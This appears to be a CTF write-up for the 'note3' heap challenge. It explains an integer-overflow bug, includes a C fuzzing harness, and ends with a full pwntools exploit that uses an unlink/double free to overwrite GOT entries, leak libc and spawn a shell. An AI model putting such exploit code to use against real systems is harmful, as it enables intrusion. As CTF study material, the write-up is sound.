note3
1. Functionality, Vulnerability & Protection 1.1 Functionality Looks like the ZCTF Challenge2 but you can’t print note anymore.
1.2 Protection Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1.3 Vulnerability 1.3.1 Integer Overflow 1 Since the programmer mistakenly use unsigned value, we can input arbitrary length of payload in the heap memory.
1.3.2 Fastbin Attack? OK, if we can create note with length zero, we can get nice 32 bytes fastbin and nice heap overflow.
So now I want to leak the arena:
1 2 3 4 5 6 7 8 9 create_note(0 , 'note_0' ) create_note(0 , 'note_1' ) create_note(0 , 'note_2' ) create_note(0 , 'note_3' ) create_note(0 , 'note_4' ) create_note(0 , 'note_5' ) create_note(0 , 'note_6' ) payload = 'a' * 16 + p64(0x0 ) + p64(0xa1 )
But wait… Where is the print function?
1.3.3 Another Integer overflow Well, the only suspicious thing left is this mod operation:
How about do some fuzzing? :)
BTW: DON’T TRUST IDA DECOMPILER!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <stdio.h> #include <limits.h> #include <inttypes.h> void blackbox (__uint64_t y, __uint64_t *chunk_addr, __uint64_t *addr_size) { __int64_t x = y; if (x < 0 ) { x = -x; } __int128_t v1 = ((0x4924924924924925 * (__uint128_t )x)); v1 = (v1 >> 64 ) >> 1 ; v1 = v1 - (x >> 63 ); __int64_t v2 = v1 << 3 ; v2 = v2 - v1; v2 = x - v2; if (v2 >= x) { *chunk_addr = (__int64_t )v2 * 8 + 0x6020c8 ; *addr_size = 0x6020c0 + (v2 + 8 ) * 8 ; } else { *chunk_addr = *addr_size = 0xDEADBEEF ; } } int main (int argc, char *argv[]) { __uint64_t fuzz[] = { 0 , ULLONG_MAX, ULLONG_MAX - 1 , ULLONG_MAX - 2 , LLONG_MAX, LLONG_MAX - 1 , LLONG_MAX - 2 , LLONG_MAX + 1 , LLONG_MAX + 2 , LLONG_MAX + 3 , }; __uint64_t chunk_addr, addr_size; for (int i = 0 ; i < sizeof (fuzz) / 8 ; i++) { blackbox(fuzz[i], &chunk_addr, &addr_size); printf ("%" PRIx64" --> *(%" PRIx64"), %" PRIx64"\n\n" , fuzz[i], chunk_addr, addr_size); } }
And the result:
1 2 3 4 5 6 7 8 9 10 0 --> *(6020c8), 602100 ffffffffffffffff --> *(6020d0), 602108 fffffffffffffffe --> *(6020d8), 602110 fffffffffffffffd --> *(6020e0), 602118 7fffffffffffffff --> *(deadbeef), deadbeef 7ffffffffffffffe --> *(deadbeef), deadbeef 7ffffffffffffffd --> *(deadbeef), deadbeef 8000000000000000 --> *(6020c0), 6020f8 8000000000000001 --> *(deadbeef), deadbeef 8000000000000002 --> *(deadbeef), deadbeef
Look at the last third line: 0x6020f8 is always zero, we can write arbitrary length of data; 0x6020c0 points to the most recent heap chunk, so we can enjoy the double free!
2. Attack 2.1 Libc leak By double free, we can overwrite 0x6020e8 for controlling 0x6020d0. Overwrite got.free to plt.puts seems to be aa good idea but:
=> use plt.printf instead
2.2 Overwrite Overwrite got.free to system.
3. Full Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *context.os = 'linux' context.log_level = 'INFO' context.terminal = ['tmux' , 'splitw' , '-v' ] libc_path = '/lib/x86_64-linux-gnu/libc.so.6' bin_path = './note3' libc = ELF(libc_path) binary = ELF(bin_path) host = '' port = 1 def debug () : gdb.attach(p) raw_input() def create_note (size, payload) : p.recvuntil('option--->>\n' ) p.sendline('1' ) p.recvuntil('(less than 1024)\n' ) p.sendline(str(size)) p.recvuntil('Input the note content:\n' ) p.sendline(payload) def edit_note (note_id, payload) : p.recvuntil('option--->>' ) p.sendline('3' ) p.recvuntil('Input the id of the note:' ) if note_id != -1 : p.sendline(str(note_id)) else : p.sendline('-9223372036854775808' ) p.recvuntil('Input the new content:' ) p.sendline(payload) def del_note (note_id) : p.recvuntil('option--->>' ) p.sendline('4' ) p.recvuntil('Input the id of the note:' ) p.sendline(str(note_id)) def exploit () : create_note(256 , '0' ) create_note(256 , '1' ) create_note(256 , '2' ) create_note(256 , '3' ) create_note(256 , '4' ) create_note(256 , '5' ) create_note(256 , '6' ) g_victim = 0x6020e8 edit_note(4 , '4' ) payload = p64(0 ) + p64(0x100 |1 ) payload += p64(g_victim - 0x18 ) + p64(g_victim - 0x10 ) payload += 'a' * 0xe0 payload += p64(0x100 ) + p64(0x110 ) edit_note(-1 , payload) del_note(5 ) edit_note(4 , p64(binary.symbols['got.free' ])) edit_note(1 , p64(binary.symbols['plt.printf' ]) * 2 ) edit_note(4 , p64(binary.symbols['got.atoi' ])) del_note(1 ) leak = p.recv().split('Del' )[0 ] leak = u64(leak + '\x00' *2 ) libc.address = leak - libc.symbols['atoi' ] p.sendline('' ) edit_note(0 , '/bin/sh' ) edit_note(4 , p64(binary.symbols['got.free' ])) edit_note(1 , p64(libc.symbols['system' ]) + p64(libc.symbols['puts' ])) del_note(0 ) p.interactive() if __name__ == '__main__' : if len(sys.argv) == 1 : global p p = process(executable=bin_path, argv=[bin_path], env={'LD_PRELOAD' :libc_path}) else : p = remote(host, port) exploit()